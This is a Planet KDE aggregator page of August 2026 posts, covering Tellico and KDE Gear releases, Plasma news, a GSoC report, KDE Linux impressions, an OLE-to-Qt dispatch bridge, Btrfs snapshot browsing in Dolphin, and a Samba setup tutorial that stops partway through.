22 Aug 2026
Planet KDE | English
Tellico 4.2.2 Released
Tellico 4.2.2 is available, with some improvements and bug fixes.
Improvements:
- Updated to automatically add default file extension (.tc) to save files with no extension.
- Removed gradient image files for entry templates, in favor of data URLs.
- Added option to disable ISBN validation in entry editor (Bug 514622).
- Improved ISBN formatting for all country regions (path from Alex Oio).
- Updated ISBN validation to apply to multiple values (Bug 521157).
- Updated UPCItemDb to accept multiple search values.
- Improved caching of entry images for the icon view.
- Improved Title search for arXiv and OpenLibrary sources.
- Improved entry updating from iTunes source.
- Added drag-and-drop text importing for RIS.
- Removed defunct DVDFr data source.
Bug Fixes:
- Fixed crashing bug when exporting HTML for entries with no title (Bug 523140).
- Fixed bug with updating UI after checking-in entries.
- Fixed bug with updating UI for updating entries (Bug 522673).
22 Aug 2026 1:29am GMT
This Week in Plasma: UI and Performance Improvements
Welcome to a new issue of This Week in Plasma!
This week was heavy on improvements for both the user interface and also performance, helping Plasma 6.8 to shape up quite nicely:
Notable new features
Plasma 6.8
When using the system in a language other than English, you can now search for and find System Settings pages using keywords in English as well as the current language. (Sergey Katunin, systemsettings MR #418)

You can now disable entries on System Settings' Autostart page without having to fully delete them. (Ramil Nurmanov, plasma-workspace MR #6951)

Notable UI improvements
Plasma 6.8
You can now select on the lock screen which authentication type you want to use when multiple types are available, and each one gets a nicer UI. This is an experimental change that just landed, and there's no GUI yet to set up all the authentication types. We're working on documenting it, for a start! (Harald Sitter, plasma-desktop MR #3689, plasma-workspace MR #6542, and kscreenlocker MR #318)

You can no longer set the resolution to a value so low that you'll probably break your system and be unable to recover without the intervention of an expert. (Xaver Hugl, kwin MR #9765)
Improved the alignment of the buttons on the lock screen, which is especially visible in some languages. (Ramil Nurmanov, plasma-dsktop MR #3951)
Discover now remembers which reviews you've rated as useful or useless and doesn't let you submit new ratings for them later, because the reviews server doesn't support this, and it would emit an ugly error code in response to you trying. (Taras Oleksyn, KDE Bugzilla #521866)
Auto-hide panels now hide themselves only 50 milliseconds after the pointer leaves them - reduced from the previous value of 500 milliseconds. This makes them feel much more responsive. (Seb Jo, plasma-workspace MR #6885)
The automatic brightness feature now adjusts in a smarter way to any manual brightness changes you make, so the system does a better job of learning your screen brightness preferences in various lighting conditions over time. (Matt Whitlock, kwin MR #9237)
When an Audio Volume widget is placed on a panel in standalone form, its popup now starts out large enough to accommodate everything in it without scrolling. (Nate Graham, KDE Bugzilla #522654)
Improved the way error messages from the audio subsystem are communicated to the user while using the microphone tester feature. (Nate Graham, plasma-pa MR #419)
Implemented highlighting for non-default settings on System Settings' Remote Desktop page. (Tobias Ozór, krdp MR #232)
Cursor feedback effects now dodge screen edges, so they are always fully visible. (Oliver Beard, KDE Bugzilla #498068)
KWin's notifications about GPU resets now trigger for all GPUs, not just the primary one. (Xaver Hugl, kwin MR #9768)
Improved the Breeze styling for GTK 4 apps' menus and window borders. (Rocket Aaron, breeze-gtk MR #104)
Notable bug fixes
Plasma 6.6.7
Fixed multiple issues relating to Discover failing to terminate all of its processes after quitting, which would lead to it being unable to launch properly later. (Aleix Pol Gonzalez, discover MR #1393)
Fixed multiple issues relating to System Settings not switching its sub-category sidebar view when expected during various less-common modes of interaction. (Mradul Pal, systemsettings MR #415)
The Digital Clock widget's tooltip no longer lets really long text overflow; instead it expands to make room. (Luis Bocanegra, plasma-workspace MR #6950)
The Weather Widget no longer shows info buttons for alerts that do nothing when clicked; now they only appear if they'll do something. (Nate Graham, KDE Bugzilla #519676)
Plasma 6.7.5
Fixed multiple cases where the "KDE daemon" background process could crash while reading to or writing from the system's password storage system when network conditions changed in various ways. (Mickaël Thomas, plasma-nm MR #624)
Fixed an issue where Task Manager window thumbnails could sometimes go missing. (Vlad Zahorodnii, plasma-desktop MR #3959)
The Calendar widget no longer oddly changes the date it's showing when dragged from one screen to another. (Antti Savolainen, KDE Bugzilla #472360)
Plasma 6.8
Screen readers can now read all of the UI elements on the Activities sidebar. (Nate Graham, KDE Bugzilla #519306)
Using the clipboard's "Keep the selection and clipboard the same" setting no longer breaks the ability to copy multi-cell data between sheets of a spreadsheet in LibreOffice Calc. (Tomáš Hnyk, KDE Bugzilla #505209)
When a remote desktop connection is unexpectedly severed, the System Tray icon notifying you about it now disappears as expected, instead of sticking around until the system is restarted. (Nick Haghiri, krdp MR #234)
Fixed two issues where the Audio Volume widget would show the wrong panel icon under some unusual conditions. (Seth Morris, plasma-pa MR #422)
Frameworks 6.30
The "Do you really want to permanently delete this item?" dialog for items on the desktop no longer percent-encodes special characters in file names, because it looked ugly. (Nate Graham, KDE Bugzilla #522470)
Notable in performance & technical
Plasma 6.8
Discover's background notifier process now uses much less memory when it checks for updates. (Méven Car, KDE Bugzilla #509180)
Improved Plasma's startup speed a bit by doing less unnecessary work when loading wallpapers. (Nicolas Fella, plasma-workspace MR #6898)
Further improved the speed and efficiency of KWin's "take a screenshot" functionality. (Zhora Zmeykin, kwin MR #9756)
Improved the smoothness of screen recordings made on high-refresh-rate screens. (Fililip, KDE Bugzilla #524129)
The microphone tester feature now records audio at the system's current sample rate rather than forcing a 44.1kHz sample rate, which could have ramifications elsewhere on the system if you're doing audio production. (Dan Fi, KDE Bugzilla #523693)
Frameworks 6.30
Improved the way SVG images are cached, which slightly increases speed and reduces video memory usage. (Méven Car, ksvg MR #115)
How you can help
KDE has become important in the world, and your time and contributions have helped us get there. As we grow, we need your support to keep KDE sustainable.
Would you like to help put together this weekly report? Introduce yourself in the Matrix room and join the team!
Beyond that, you can help KDE by directly getting involved in any other projects. Donating time is actually more impactful than donating money. Each contributor makes a huge difference in KDE - you are not a number or a cog in a machine! You don't have to be a programmer, either; many other opportunities exist.
You can also help out by making a donation! This helps cover operational costs, salaries, travel expenses for contributors, and in general just keeps KDE bringing Free Software to the world.
To get a new Plasma feature or a bug fix mentioned here
Push a commit to the relevant merge request on invent.kde.org.
22 Aug 2026 12:00am GMT
GSoC 2026: Building Join.Kde.Org
Intro
Helloooooo,
it's me again, Ansh! , the mentee who has been working on the Join.kde.org
This is the final update within the official timeline of GSoC 2026 for my project: Building Join.KDE.org.
A quick summary:
Over the past 12 weeks, I have worked on creating, designing and implementing the join.kde site into a platform that can answer most of the basic questions a new contributor has. In this post, I'll mainly focus on the progress from Week 6 to Week 12 along with my final thoughts.
For a short summary, checkout this status report.
Week 6: Contribute/suggest
This week I worked on the ADD section which got renamed to contribute, it includes several sub sections which allows people to contribute based on their interests.
Routed the explore section to KDE.org for you section so people can explore and find their own use for KDE softwares.
Created the suggest section which contains the information on how to report bugs/request for features.
Week 7: Navbar
This week was more about improvements on the navbar, I noticed with all the text the nav-bar looked way too cluttered, and simply overwhelming so with the advice from Anish and how he changed the navbar for the mentorship website, I worked up something similar and made dropdowns for the navbar so it can still have more content when clicked.
Week 8: Work on Projects
For this week I worked on the work on projects section which allows people to find groups of projects in invent based on skillset or the programming languages one knows.
I added all the groups available in KDE invent in this section which little tags of skillset.
Week 9: Incubate projects
Worked on designing Incubate projects section: which basically explains what kind of projects fit in KDE and what are the benifits of it. Linked it through a call-to-action button to the relevant resources to incubate project into KDE.
Week 10: read page/ suggest page improvement
Designed the read page with 3 main blog sites
- planet
- contributor blogs
- mentorship blogs
This week was something new, the cards for the read page were simple but the new design of dropdown in suggest page took some time figuring out. added konqi images to the cards because duh it's konqi (but hey we can change them eventually).
Week 11: Divulge Page
Created the Divulge page which is more for people who want to create content for kde whether it be promo material, tutorials or whether help in promotion itself.
It's kind of a copy of the read page but it can always be changed.
Week 12: Events Page
Created the Events page, which included akademy as the main event and then a section for event's KDE hosts which had some sprints and conf.in and then added the section for the events KDE participates in which will likely be expanded eventually.
Fixed some tiny typos and dead link issues.
Related Merge Requests
- https://invent.kde.org/paulb/join-kde-org/-/merge_requests/12
- https://invent.kde.org/paulb/join-kde-org/-/merge_requests/13
- https://invent.kde.org/paulb/join-kde-org/-/merge_requests/14
- https://invent.kde.org/paulb/join-kde-org/-/merge_requests/15
- https://invent.kde.org/paulb/join-kde-org/-/merge_requests/16
- https://invent.kde.org/paulb/join-kde-org/-/merge_requests/17
- https://invent.kde.org/paulb/join-kde-org/-/merge_requests/18
My Own Development
I learned a lot from this project, both in coding and beyond. Here are the things I remember right now, though the list could go longer:
- Now I am very comfortable with Hugo, semantic maps, and YAML files
- Finally learned how to deal with SVGs (was my first time working with them)
- My frontend skills improved, I think I can design better pages now
- I now want to create more stuff that helps people!
Conclusion
Overall, GSoC 2026 has been a great experience for me. Over these 12 weeks I got the chance to work on issues that i faced myself and fix them in a way that helps everyone joining KDE.
Along the way I learned some technical skills, learned how to work across different timezones, to communicate better, and most importantly realized that long discussions are often more necessary than jumping straight into implementation, especially in open source communities.
Big thanks to my mentors Anish and umm Conulting mentor Paul
This wraps up my GSoC journey, but I will be sticking around KDE and plan to explore other projects, especially in the mentorship side of things. See you around in the community.
How to Reach Me
- KDE GitLab: @anshs-lab
- Matrix: @anshs-lab:matrix.org
- Email: anshsinghal1907@gmail.com
22 Aug 2026 12:00am GMT
21 Aug 2026
Planet KDE | English
KDE Linux experiences
I daily drove KDE Linux for almost a year and I liked it, but I'm also switching back to Fedora KDE. Here's my ramblings about it all.
KDE Linux is the hot new Linux distro from KDE themselves. At the moment it uses Arch Linux as it's base but with heavy modifications and changes. You can read more about it on the site, but to sum up: It's an atomic/"immutable" distro that does not have any kind of package management outside of installing flatpaks. (Do note that they're epxerimenting on using buildstream instead of Arch Linux.)
As one of the KDE devs I've been daily driving it on my desktop, which I use for both work and leisure (gaming).
The following text can be quite technical as I am viewing this through my developer workflow lense, though I will also touch on regular user things.
Upsides
For general purpose computing and KDE dev, things are looking great!
Honestly, it works rather well, considering the alpha status. And for development purposes, the nightly builds of the newest hottest stuff from our git repos is very nice: I don't have to build everything myself every morning.
Though there are some issues with that too: Sometimes the servers are not producing a new image, for reason or another, so I may end up building things myself anyway. Some other times, there is an image that just has some broken change in. Luckily in those situations I can just boot a previous image and use that.
What I really liked though was the systemd-sysext workflow. Sysext is a tool that allows me to layer my changes to the system on top of the previous stuff. So when the system is running /usr/bin/konsole it actually runs my self-built /home/akseli/Projects/kde/usr/bin/konsole. As far as the system is concerned, it's in the same path.
What we currently do in other distros is some environment flag magic to run things from the build-path, instead of /usr/bin/. It also works fine, but can be a bit more brittle, especially when testing something like a login manager.
The workflow is simple:
- I build my changes to an app, Plasma desktop component, etc. using kde-builder.
- I refresh the sysext with
run0·systemd-sysext·--always-refresh=yes·refresh;sudoworks too, i userun0because it has the popup so I notice it after a long build.
- The changes are now live on my system!
- Apps may need to be restarted sometimes of course.
- If something goes wrong, I can just clean the sysext folder.
It feels more robust and easier to manage.
So on this front, KDE Linux has been really fun to work with. Perfect for testing and development of all the KDE Plasma stuff.
When it comes to applications from flatpaks, they usually work fine, but they can have the typical flatpak issues: Some app needs a permission to a folder that it can't see, so you have to turn off the app, add permissions, turn back on the app, yadda yadda. Apps that use XDG portals properly usually work fine, though there's a bug somewhere in the stack that when the system updates (the atomic image of the OS changes), the portal forgets the folder paths and you have to reopen the file for the path to refresh.
When it comes to gaming stuff, Steam Flatpak has worked really well. I have not noticed any issues compared to the native package. Same with Bottles, all has been just fine and nice. Though sometimes there has been bugs with running games, such as games not locking your cursor properly, but they're often gone with the next update as more people spot these bugs now.
Downsides
With anything more complex than what the system is intended for, things get difficult.
As an atomic distribution, it is expected that any dev tools that are not already installed on the machine, such as your favorite terminal tools or text editors, you will have to either to download them from the internet like a Windows user (plop the binary in ~/.local/bin), or use Distrobox/Kapsule/Toolbox... etc.
Container workflow feels cumbersome to me most of the time. For KDE work, since all the tools to build and run applications are already installed on the system, it's rather effortless. But when I want to continue a game project like my Artificial Rage game project, I would have to enter a distrobox, install all the things, then edit and build the application inside that container. And when I switch a project, it's expected I create a new container for that, and so on.
I don't really like that. I prefer my tools to just be available on the host so I can run them without messing with containers: I have bad memory and am terrible with context switching, so I keep forgetting changing or creating containers.
What I did instead was create bunch of dumb scripts called dbi that are a wrapper for installing tools and "exporting" them from the distrobox so I can use them on host without having to enter them. By exporting I mean they use the distrobox-export command that creates a symlink to your ~/.local/bin with the app name, so you can just run them from terminal like always.
It's not ideal, but it works. Sadly this comes with a performance deficit when running programs like eza, which is ls alternative that shows icons. I like my little icons. :) When running eza directly on host, it runs immediately, but when using the distrobox version, it will take 1-2 seconds, which gets surprisingly annoying when going through folders. No idea if that could be improved somehow, but the speedbump is likely from the part where it enters the container.
This reveals the larger downside: Lack of "blessed" package management, especially for commandline applications.
I have tried multiple tools, but all of them had some issues:
- Brew, while had great user experience, would sometimes overtake the system python installation and break kde-builder
- I don't know if this has been fixed? I have not dared to try.
- Coldbrew, which has similarly nice user experience, but the package versions can be hit or miss
- Nix, which is very overcomplicated for this usecase and the user experience is just annoying
- It works, but you will have to remember to garbage-collect and whatnot every time you update apps
- Fixable with a nice wrapper, I think
- However some claim this is "not the Nix way" so I'm left here wanting something this tool can do but is not meant for?
Which left me with always just using distrobox and accepting the performance and UX penalty.
Another thing I miss is having KMail and KOrganizer just installed on my system, talking with my digital clock applet so when I click on it, I would see my calendar event. It's very small thing, but it's huge quality of life feature for me. The Kontact flatpak can't do that, and it's sadly really broken in general.
Lastly, as I work on the Union style engine, flatpak applications will not see the Union styles yet. This means I will have either to build a separate KDE platform for it myself using the CI, which can be super slow. Especially if I have to build it multiple times to see the changes. I can build some apps myself but more complex ones such as KMail will take a lot of time for me. This is where I miss just installing an app from dnf on Fedora, as it can just use the styles on my computer, as the app is also installed on the host like the Union style is.
Regular use and my use
For regular user, who plays video games and uses a web browser and never really touches terminal, I think KDE Linux will do very fine, especially when it starts having stable releases that do not update every night. At it's current iteration, it's more a developer tool than something I would recommend for regular user, unless you're super enthusiastic or have spare machines.
But me, being the nerd that writes blogposts about Linux and KDE that I am, I like having more control over the system. I don't mind having all my dev tools cluttered on my host system. (However if it touches NPM, it's going into a container. Luckily I rarely have to bother with that.) And in general, atomic distributions can be rather opinionated: If those don't match your view of the distribution, it can be hard to get along as you can't really modify it for your usecase. (Yes I know about ostree.)
So I would say that the more complicated your usecase gets and if you need tools that are not already in the base system, it can get quite cumbersome.
So that's why I'm switching back to Fedora KDE: It gave me all the control I needed. I will likely stil use flatpaks for almost all apps on my machine though, as I do find sandboxing rather useful at times.
I highly encourage anyone who wants to test newest KDE stuff to run KDE Linux on a VM or a secondary machine. I will keep using KDE Linux on my laptop as there I don't have so many different needs, and I want to just install the new shiny stuff from git, not build on it, as building anything on that laptop is super slow.
This whole thing has also made me realise something..
All distros have their own strenghts, weaknesses and tradeoffs. It's all about choosing what works for you and your system.
My desktop system will benefit from Fedora KDE, but my laptop will benefit from KDE Linux.
I will keep observing how the story of KDE Linux develops. I may try it again on my desktop later, we will see.
Some of you reading might ask: "But why Fedora KDE?"
It's one of the nicest distros I've used when it comes to KDE stuff. The people working on Fedora KDE are some of the nicest folks I've met with, and they work very closely with KDE upstream. Fedora KDE follows KDE releases really closely so it feels like I'm always on current release, making the development workflow very easy.
Thanks for reading!
ps. Friend sent me this and I cackled like a hyena.
21 Aug 2026 3:49pm GMT
20 Aug 2026
Planet KDE | English
Final week: Wrapping Up My GSoC Journey
The last two weeks were spent polishing the mobile-friendly selection mode based on Marco Martin's review feedback, wrapping up the multi-select work that's been the focus since weeks 9 and 10.
Selection Mode Refinements (!46)
The first version of Selection Mode had a few issues. The checkbox was not properly aligned with the entry text, so I changed the delegate to use a RowLayout. This keeps the checkbox directly next to the label and vertically centered.
Marco Martin also suggested that the whole row should be clickable, not just the checkbox. I moved the selection logic into a shared page.toggleSelection() function and used it for both mouse and touch taps. This makes selection work the same way on both devices.
For the toolbar, only "Delete Selected Secrets" and "Exit Selection Mode" should be available during selection mode. I added visible: !page.selectionMode to the other actions so they are completely hidden, including from the overflow menu.
20 Aug 2026 9:52am GMT
OLE-Dispatch When Doing MFC/Qt Migration
OLE-Dispatch When Doing MFC/Qt Migration
Most people who have ever ported an application from MFC to Qt know that at some point they have to integrate a QWidget into an MFC part of the user interface. Or the other way around, but that's a different story. Normally you would simply use a QWinWidget for that to do exactly what you want. But what happens if your application created the old MFC window as an OLE Control Extension (OCX)? In that case the easiest solution is to intercept the control name and provide it to your own factory providing the correct widget, which can then be embedded in a QWinWidget. Or you could use plugins to stick to the idea of it being DLLs. All roads lead to Rome. But what if your OLE based application uses the OLE-Dispatch way of initializing the controls? Setting properties, invoking methods, and so on?
I had exactly that problem and came up with a solution which glues OLE's IDispatch interface together with Qt's QMetaObject. That means you can access your QWidget's (or any other QObject) properties via the IDispatch interface provided by my QObjectDispatcher class. They only need to be declared via Qt's Q_PROPERTY macro. The same applies to slots and methods marked with Q_INVOKABLE.
Let's see how this is being used:
// This is the widget we're working with:
QWidget* someWidget = ...;
// Lets' create our dispatcher:
// You have to delete it yourself or let COM do it for you via IUnknown::AddRef/Release
QObjectDispatcher* dispatcher = new QObjectDispatcher(someWidget);
// The code until this point is the only part which is new in your application, as
// far as dispatching the calls/properties is involved. From here, it's exactly the same;
// from the OLE MFC application's perspective we often only have an IUnknown:
IUnknown* pUnknown = dispatcher;
// Now get the interface and start playing with it:
CComQIPtr<IDispatch> pDispatch(pUnknown);
// First we have to retrieve the index of the property we change
LPOLESTR name = "windowTitle";
DISPID dispId = -1;
pDispatch->GetIDsOfNames(IID_NULL, &name, 1, LOCALE_SYSTEM_DEFAULT, &dispId);
// Now that we have the index, we change the property
VARIANT varTitle = CComVariant("New window title");
DISPSPARAMS dispParams = { nullptr, nullptr, 0, 0 };
dispParams.rgvarg = &varTitle;
dispParams.cArgs = 1;
pDispatch->Invoke(dispId, IID_NULL, LOCALE_SYSTEM_DEFAULT, DISPATCH_PROPERTYPUT,
&dispParams, nullptr, nullptr, nullptr);As you can see the API of IDispatch is not fun to work with and there's no reason to use this except of making that kind of stuff work in existing MFC/OLE-applications while porting. I strongly advise against using it in new code.
How does that work? Well, the IDispatch interface works in two steps. First, you have to request the ID of the method/property you want to access via GetIDsOfNames. You can request several IDs at the same time. QObjectDispatcher traverses the methods of the handled QObject via the corresponding QMetaObject. It then returns the index of the method. If there's no method found, it checks for a property. If it's found, it returns the index of the property plus the number of methods, to be able to recognize the type afterwards. If neither a method nor a property by that name is found, an error is reported.
Let's have a short look at how GetIDsOfNames roughly works. That example code cannot be used directly but gives you a rough idea of the implementation:
HRESULT QObjectDispatcher::GetIDsOfNames(REFIID riid, LPOLESTR* rgszNames, UINT cnames, LCID, DISPID* rgDispId)
{
// GetIdsOfNames supports requesting several at the same time
for (uint i = 0; i < cNames; ++i) {
// note you cannot use QMetaObject::indexOfMethod directly,
// since it expects the fully qualified name
auto indexOfMethod = []() { /* ... */ };
const int methodIndex = indexOfMethod(rgszNames[i]);
if (methodIndex != -1) {
rgDispId[i] = methodIndex;
continue;
}
}
// now do the same for the properties...
// [...]
return S_OK;
}In the second step you can call Invoke to either invoke a method or to access a property. For this you need to pass a struct DISPSPARAMS which contains the arguments. rgvarg is an array to several arguments which are stored in reverse order. QObjectDispatcher will now pick the method or property (depending on the id passed and whether you passed DISPATCH_PROPERTYPUT, DISPATCH_PROPERTYGET, or DISPATCH_METHOD) and call it. For this it has to translate the arguments. For method calling, they need to be translated to QMetaMethodArgument or QMetaMethodReturnArgument for the return value. For properties, we have to go through QVariant to be able to read/write the property via Qt's Meta Object System.
Let's also have a look at how Invoke works internally. Even here, this code piece is not complete and won't work directly:
HRESULT QObjectDispatcher::Invoke(DISPID dispIdMember, REFIID riid, LCID, WORD wFlags, DISPPARAMS* pDispParams, VARIANT* pVarResult, EXCEPINFO*, UINT*)
{
if (wFlags == DISPATCH_METHOD) {
const QMetaMethod method = metaObject->method(dispIdMember);
// translate return argument
auto returnArgument = translateReturnArgument(method, pVarResult);
// then call the method, translating all the arguments
invokeMethod(method, m_object, returnArgument, translateArgument(0), ...);
return S_OK;
}
// [...]
}So, in your application, which expects a CWnd generated by some factory, you do the following:
- Create a wrapper
CWndwhich you actually return to the caller. ThisCWndwill in some way provide access to anIDispatchinstance like it was doing before your port - Create a
QWinWidgetresiding inside of theCWnd. - Put your ported
QWidgetinto theQWinWidget - Create a
QObjectDispatcherworking on your portedQWidget - Make your
CWndreturn thisQObjectDispatcherasIDispatch
Now your application should threat your ported widget as it was never ported. Of course, you have to provide the same properties and methods as the system expects using Qt's Meta Object System (Q_PROPERTY, Q_INVOKABLE).
There are, of course, some limitations:
- You cannot overload names of methods as OLE doesn't allow that
- Optional parameters are not supported, as
QMetaMethoddoesn't reflect that (or I simply haven't figured out, who knows…) - You have to provide a type-mapping for the argument types. The example project linked below provides only
IUnknown*,int, andQStringas these are the most common ones and show how it works - The example solution is not thread-safe
Find the complete code as a little example project on KDAB's GitHub repository at: https://github.com/KDABLabs/blogs-qt/tree/main/MFC-Migration-OLE-Dispatch
The post OLE-Dispatch When Doing MFC/Qt Migration appeared first on KDAB.
20 Aug 2026 8:32am GMT
KDE Gear ⚙️ 26.08
Okular
Okular is KDE's flagship document reader most commonly used for reading, signing, and annotating PDFs while also being an excellent eBook and comic reader that can also render Markdown.
In this new version, we have reinforced the signing features resulting in the process becoming more secure and streamlined. We have also melded both settings dialogs (Configure Backends and Configure Okular) into one, making everything less confusing.
More visible features include changes to the text selection: a triple click now selects a whole line, and annotations: Okular will automatically include any highlighted or underlined text in an associated note. You can also copy and paste some of your annotations (notes and inline comments) within the same document or onto another.
Dolphin
Dolphin is KDE's powerful file/folder/server explorer. Version 26.08 goes even further and improves its integration with KDE Connect. When exploring files on your phone from Dolphin, click on the Open KDE Connect button at the top of the window to make the KDE Connect app appear.
If you are browsing a busy directory, open the Filter Bar with Ctrl + i to use plain text, globbing (like you would use with the ls command in the terminal), or Regular Expressions to sort through the files.

In a similar vein, you can now group files and folders independently from the sorting criterion. This means you can order files alphabetically by name and then group the files by type.
And if the number of tabs you have open gets out of hand, right click on a tab and you can chose to close the tabs to the right, left, or both.
Konsole
Konsole is KDE's terminal emulator and comes with many features and utilities.
You can now hold down the Alt key, click on an underlined file name, and drag it somewhere else. Also, drag an image onto an image editor to open "Ready for Editing", drag it onto a text editor and it will copy the path to the file.
The same can now be done with links, email addresses, and color terms too. Drag a link to an empty tab in your browser and it will open the page the link points to. Move the link onto a text editor, and it will download the HTML of the page ready for editing. Drag a color code onto an image in Krita and it will flood the layer with that color. Or drag the same color code onto a text editor and the color's hexadecimal code will be typed out for you.
Kdenlive
Kdenlive is KDE's feature-rich video editor. 26.08 comes with lots of quality of life improvements and polishing.
In the effects department for example, you can now move the Transform effect's rotation axis wherever you want, instead of having it fixed to the center of the item you need to rotate.
The Gradient Map effect now lets you add multiple stops to a gradient, and you can now adjust the curves in the Curves (avfilter) effect independently to the get the color hues you need.
Down on the timeline, you can copy a selection to a new sequence, or have Kdenlive create audio tracks automatically as needed for your clips. You can also reorder tracks and configure different colors for each item type - video, image, title, etc.

In the Titler, you can now copy and paste objects, give rectangles rounded corners, and snap objects to the center and edges of the screen as well as to other items. This feature includes a visual guide to help you.
Minuet
Minuet is KDE's application for music education. It helps students and musicians train their ears with exercises for intervals, chords, scales, and rhythms.
Minuet has a new interface built to work well on both desktop and mobile screens. The home page and navigation drawer make exercise categories easier to find while making the exercise browser present each activity as a card with a short description. Your current category remains highlighted, and the new search field filters exercises by their translated names and descriptions. Exercise pages have also been reorganized to use the available space better on narrow windows and phones.
Full changelog here
Where to get KDE Apps
Although we fully support distributions that ship our software, KDE Gear 26.08 apps will also be available on these Linux app stores shortly:
If you'd like to help us get more KDE applications into the app stores, support more app stores and get the apps better integrated into our development process, come say hi in our All About the Apps chat room.
20 Aug 2026 12:00am GMT
19 Aug 2026
Planet KDE | English
Btrfs Snapshot Integration in KDE
I have been working on integrating Btrfs snapshots into KDE software. The central part of this work has been realized in the form of KIO Snapshot, which has just been released. Here I want to discuss what it is, how it works, how it was developed, and the surrounding work across KDE.
Background
Among the key features of Btrfs is the ability to take efficient snapshots of subvolumes
. They are efficient because Btrfs makes snapshots share file extents with the originals, so snapshots only take up additional space where they differ from the original. Thus it is cheap to take snapshots frequently without worrying about disk space.
This can be used to build very handy universal "undo" or "time travel" functionality for the user. Yet, though there are graphical tools to work with Btrfs snapshots such as Btrfs Assistant, these are separate from normal file browsing, and are rather technical tools concerned with the orchestration of snapshots. Direct integration of snapshots into the file browser itself for mundane end-user purposes, like Windows has with Previous Versions or macOS with the famous Time Machine, has been lacking in the Linux world. The aim of KIO Snapshot is to build that kind of direct integration for KDE.
What it is
KIO Snapshot lets Dolphin (indeed any KDE software) list and access Btrfs snapshots of a file or subvolume.
You can right-click on a file and go to a folder view showing you all the distinct past versions of it as saved in your snapshots. (At first, I wrote the snapshots-for-file case as a dialog with buttons to open or restore (like Windows' Previous Versions feature), but I changed it to be a full virtual folder, since that would be much more flexible - now a user could select multiple previous versions and open them in a comparison tool, or copy them somewhere, or check their metadata easily, or whatever else they wished.)

You also have views into entire directory trees of subvolumes at their various snapshots.

Note that it does not take snapshots, it only allows access to them. To take snapshots, you would have to do it manually, or through an orchestrator like Snapper
.
How it works
Mainly it uses libbtrfsutil from btrfs-progs to talk to the filesystem, and KDE Frameworks' Solid to query filesystems and mounts on a more meta level.
Now, the Btrfs API is quite conservative in what it allows non-superusers to do with it. Even a question as seemingly innocuous as "what subvolume is this path in?" cannot be answered for a non-superuser directly. The consequence of this is that on my first attempt at building this integration, I had one component running as a system-level DBus service which would let users query stuff like this for files they owned.
Luckily, a nudge from Méven Car made me realize that with some working-around, I could build out all the features without anything running as root. For example, while Btrfs is loath to let you get the subvolume ID for a path or vice versa, it will happily give you a listing of the subvolumes (that you can access) under a path. From there you can derive all the information needed.
Using this, KIO Snapshot implements a KIO worker that provides the snapshot:// protocol, which will be understood by all programs which use KDE Frameworks. This protocol provides a virtual view into the snapshots in a filesystem along two dimensions: the snapshots for a given subvolume, each of which is a browsable directory tree in itself; and the snapshots for a given file across all snapshots of its containing subvolume.
Allied work
Aside from KIO Snapshot itself, I also worked on some small things in other parts of KDE to support it.
- Fixed a bug in KIO which caused inconsistent behavior in Dolphin's location bar: KIO MR #2305
- Fixed how Solid handled Btrfs layouts like the one used in KDE Linux: Solid MR #261
- Special default view settings for KIO Snapshot's views in Dolphin: Dolphin MR #1347
- Experimented with adding support for Btrfs subvolumes into Solid itself - this is just a rough proof-of-concept, and maybe this work is more appropriate further upstream in UDisks - but here it is anyway: Solid branch btrfs-subvolumes
KDE Linux
KDE Linux will soon ship with Snapper and KIO Snapshot out-of-the-box.
Hadi Chokr did a lot of excellent integration work here: migrating the filesystem layout to make all user homes subvolumes, and automatically integrating and configuring Snapper for all users seamlessly.
This is part of a broader initiative in KDE Linux to improve data backup and restore systems, which has also overseen improvements elsewhere, such as in the Kup backup system.
Release
The first stable release of it was made today (thanks to Bhushan Shah for helping with the release process). I imagine it should be getting packaged into distros fairly soon, thanks to the infrastructure that comes with being a KDE project, but even then it should be easy enough to compile from source. Please use it and report bugs and requests, thank you!
19 Aug 2026 6:30pm GMT
Linux Samba server and Linux Samba client tutorial
I want to share from the server a directory, and use that directory share on the client computer. Using the Microsoft Windows "Server Message Block" (SMB)/CIFS directory sharing protocol.
I have created two Kubuntu 26.04 virtual machines: a Samba server and a Samba client.
Samba server: 192.168.122.202. Computer name: ASERVER. User name: sadmin.
Samba client: 192.168.122.92. Username: administrator.
A video version of this tutorial is available https://www.youtube.com/watch?v=mNgBZtunNnE .
1.Configure the Samba server computer
Kubuntu 26.04 by default uses the ufw firewall solution and ufw is disabled. Configuring a firewall is another topic.
Create the directory /home/sadmin/smbshare . Put some files there.
# Become the user root.
sudo su
ufw status
# Says "Status: inactive".
apt update
apt install samba smbclient
cat > /etc/samba/smb.conf
[linux_smbshare]
comment = Linux smbshare
path = /home/sadmin/smbshare
browseable = yes
read only = no
guest ok = no
valid users = sadmin
create mask = 0660
directory mask = 0770
EOF
testparm
systemctl restart smbd
smbpasswd -a sadmin
# I use the same password for the user sadmin. Both for the
# Linux user account and for the Samba user account.
pdbedit -L
# Stop being the user root.
exit
smbclient //localhost/linux_smbshare -U sadmin
ls
# Exit smbclient shell/REPL.
exit
Note that two parts of NETBIOS protocol are disabled by default: the one similar to DNS (hostname to IPv4 conversion) and the one where the Samba server advertises itself on the Local Area Network (LAN) as an SMB server.
testparm
says:
[global]
disable netbios = Yes
Bonus points if the Samba server computer has an IPv4 address that does not change.
Restart the Samba server computer.
2.Configure the Samba client computer
sudo apt update
sudo install smbclient cifs-utils avahi-utils
The information that, years ago, we could get using the NETBIOS protocol can now be accessed from a Samba client computer using other technologies:
* When listing SMB servers on the LAN. Instead of using NETBIOS. We can use the DNS-Based Service Discovery (DNS-SD) protocol (avahi).
$ smbtree -N
main: This is utility doesn't work if netbios name resolution is not configured.
If you are using SMB2 or SMB3, network browsing uses WSD/LLMNR, which is not yet supported by Samba.
SMB1 is disabled by default on the latest Windows versions for security reasons. \
It is still possible to access the Samba resources directly via \name or \ip.address.
$ avahi-browse -rtp _smb._tcp
+;virbr0;IPv4;ASERVER;Microsoft Windows Network;local
=;virbr0;IPv4;ASERVER;Microsoft Windows Network;local;aserver.local;192.168.122.202;445;
* Converting from "ASERVER" to an IPv4 address does not work. Converting from "ASERVER.local" to the IPv4 address 192.168.122.202 works because of avahi DNS-SD DNS server/client, mdns4_minimal.
$ ping ASERVER
ping: ASERVER: Temporary failure in name resolution
$ ping ASERVER.local
PING ASERVER.local (192.168.122.202) 56(84) bytes of data.
64 bytes from 192.168.122.202: icmp_seq=1 ttl=64 time=0.110 ms
$ cat /etc/nsswitch.conf | grep hosts
hosts: files mdns4_minimal [NOTFOUND=return] mymachines dns
# Continue configuring the Samba client.
sudo mkdir -p /media/192_168_122_202_linux_smbshare
# Without file with SMB username and password.
